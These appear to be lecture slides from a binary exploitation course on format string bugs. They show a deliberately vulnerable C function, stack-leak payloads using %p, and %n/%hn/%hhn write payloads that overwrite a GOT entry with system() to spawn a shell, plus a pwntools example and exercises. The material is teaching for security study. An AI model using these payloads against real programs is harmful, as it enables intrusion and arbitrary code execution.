

Lecture 13

PWNing 3: Format string bug

Today

- What is format string bug?
- How to get a shell?

Format string bug

```
printf("%s", buf);
```

Format string bug

```
printf (buf) ;
```

specifier	Output	Example
<code>d or i</code>	Signed decimal integer	392
<code>u</code>	Unsigned decimal integer	7235
<code>o</code>	Unsigned octal	610
<code>x</code>	Unsigned hexadecimal integer	7fa
<code>X</code>	Unsigned hexadecimal integer (uppercase)	7FA
<code>f</code>	Decimal floating point, lowercase	392.65
<code>F</code>	Decimal floating point, uppercase	392.65
<code>e</code>	Scientific notation (mantissa/exponent), lowercase	3.9265e+2
<code>E</code>	Scientific notation (mantissa/exponent), uppercase	3.9265E+2
<code>g</code>	Use the shortest representation: %e or %f	392.65
<code>G</code>	Use the shortest representation: %E or %F	392.65
<code>a</code>	Hexadecimal floating point, lowercase	-0xc.90fep-2
<code>A</code>	Hexadecimal floating point, uppercase	-0XC.90FEP-2
<code>c</code>	Character	a
<code>s</code>	String of characters	sample
<code>p</code>	Pointer address	b8000000
<code>n</code>	Nothing printed. The corresponding argument must be a pointer to a signed int. The number of characters written so far is stored in the pointed location.	
<code>%</code>	A % followed by another % character will write a single % to the stream.	%

Format string bug

%p	Wyświetla wartość znajdującą się w danym miejscu na stosie
%4\$p	Wyświetla wartość czwartego argumentu (%p %p %p %p)
%n	Zapisuje liczbę dotychczas wypisanych znaków pod wskazanym adresem (signed int *)
%hn	Analogicznie do %n, ale argument typu signed short * (zwykle 2 bajty)
%hhn	%n, ale signed char * (zwykle 1 bajt)

Format string bug exploitation

```
int foo()  
{  
    char buf[256];  
    scanf("%s", buf);  
    printf(buf);  
}
```

> aaaa|%p|%p|%p|%p|%p|%p|%p|%p

aaaa|0xffb43a1c|0xf7589618|0xf775c858|
0xffb43a64|0xffb43a60|0x3|0x61616161|
0x7c70257c

Format string bug exploitation

```
int foo()  
{  
    char buf[256];  
    scanf("%s", buf);  
    printf(buf);  
}
```

```
> aaaa|%p|%p|%p|%p|%p|%p|%p|%p
```

```
aaaa|0xffb43a1c|0xf7589618|0xf775c858|  
0xffb43a64|0xffb43a60|0x3|0x61616161|  
0x7c70257c
```


Format string bug exploitation

```
int foo()
```

```
{
```

```
    char buf[256];
```

```
    scanf("%s", buf);
```

```
    printf(buf);
```

```
}
```

```
int main()
```

```
{
```

```
    foo();
```

```
    printf("sh"); // got 0x08041337
```

```
    // @system: 0x7ffafbf0
```

```
    return 0;
```

```
}
```

```
> \x37\x13\x04\x08|%7$p
```

```
\x37\x13\x04\x08|0x08041337
```

Format string bug exploitation

```
int foo()
```

```
{
```

```
    char buf[256];
```

```
    scanf("%s", buf);
```

```
    printf(buf);
```

```
}
```

```
int main()
```

```
{
```

```
    foo();
```

```
    printf("sh"); // got 0x08041337
```

```
    // @system: 0x7ffafbfc
```

```
    return 0;
```

```
}
```

```
> \x37\x13\x04\x08%248c%7$hhn
```

```
248+4 = 252 (0xfc)
```

Format string bug exploitation

```
int foo()  
{  
    char buf[256];  
    scanf("%s", buf);  
    printf(buf);  
}  
  
int main()  
{  
    foo();  
    printf("sh"); // got 0x08041337  
    // @system: 0x7ffafbfc  
    return 0;  
}
```

```
> \x37\x13\x04\x08  
   \x38\x13\x04\x08  
   \x39\x13\x04\x08  
   \x40\x13\x04\x08  
   %236c%7$hn  
   %255c%8$hn  
   %255c%9$hn  
   %133c%10$hn
```

$0x10 + 236 = 0xfc$

$0xfc + 255 = 0xfb$

$0xfb + 255 = 0xfa$

$0xfa + 133 = 0x7f$

Profits

- Write-what-where
- Leaking data from stack (e.g. canaries, stack address)

pwntools

```
>>> from pwn import *
>>> writes = {0x08041337: 0x7ffaacac}
>>> print `fmtstr_payload(7, writes)`

'7\x13\x04\x088\x13\x04\x089\x13\x04\x08
:\x13\x04\x08%156c%7$hhn%8$hhn%78c%9$hhn
%133c%10$hhn'
```

Exercise 0x1

- ASLR + canaries
- Goal: use rop chain to call system("sh")

Exercise 0x2

- ASLR + canaries
- Goal: overwrite GOT to get a shell